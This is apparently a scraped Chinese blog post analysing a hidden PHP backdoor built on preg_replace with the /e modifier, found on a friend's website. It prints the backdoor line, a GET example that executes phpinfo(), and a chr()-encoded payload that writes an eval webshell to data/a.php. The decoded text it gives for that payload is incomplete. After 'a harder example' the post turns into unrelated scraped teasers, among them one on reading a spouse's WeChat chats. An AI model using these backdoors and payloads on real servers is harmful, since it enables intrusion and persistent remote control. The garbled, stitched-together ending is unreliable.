事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。
后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。
哈哈,遇到小黑蛮细心的。
然后通过分析发现,小黑的访问的文件发现代码:
@preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);
如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。
举例:
echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们要POST的话,我们测试提交下面的代码会怎么样呢?
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:
fputs(fopen(data/a.php,w),);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
这个就恐怖了吧。。。。
再来一个有难度的例子:
怎样能接受到媳妇的微信聊天(怎样另外接受媳妇微信聊天纪录) 很有可能不容易。第三方不容易了解单独的微信转移。或许你的老婆有一个有线电视的人。 偷窥您老婆的微信聊天纪录,这很st吗? 你好,您碰到...
为何马云爸爸不对(马云爸爸这几年犯了四大不正确) 前不久,马云爸爸以12亿人民币的巨额与恒大足球联婚,再度变成群众关心的聚焦点。马云爸爸的颠覆性创新显而易见是不容置疑的,从业阿里巴巴网处理中小型企业...
娱乐中国讯 2月1日,浙江卫视热播节目《我就是演员3》第二轮表演赛收官。由赫子铭、刘端端、张楠共同出演的《无证之罪》片段作为本期节目的第一组表演,获导师们满星认可。章子怡甚至评价道“这是本场最流畅的表...
破晓的时刻公布了大数据BDC单干无法变现的文章,另有理有据,有大神在谈论分享计算了种种免费复投的玩法。我看了也半知半解,然后适才有个老粉丝提醒,免费送的矿机价值100BDC,实在30天是产138BDC...
本文导读目录: 1、比特币历史上发生哪些被黑事件 2、被黑客攻击后应怎么办? 3、电脑被黑客攻击了。怎么处理 4、IPFS挖矿需要什么硬件配置? 5、星际云矿机是不是骗局? 6、I...
变色龙的资料,变色龙相信大家不是很了解,可能知道只是知道变色龙会根据某些情况而改变颜色。目前变色龙主要的食物是以昆虫为主,喜欢生活在温度比较高的环境下。那你知道变色龙会在什么情况下改变颜色吗?下面...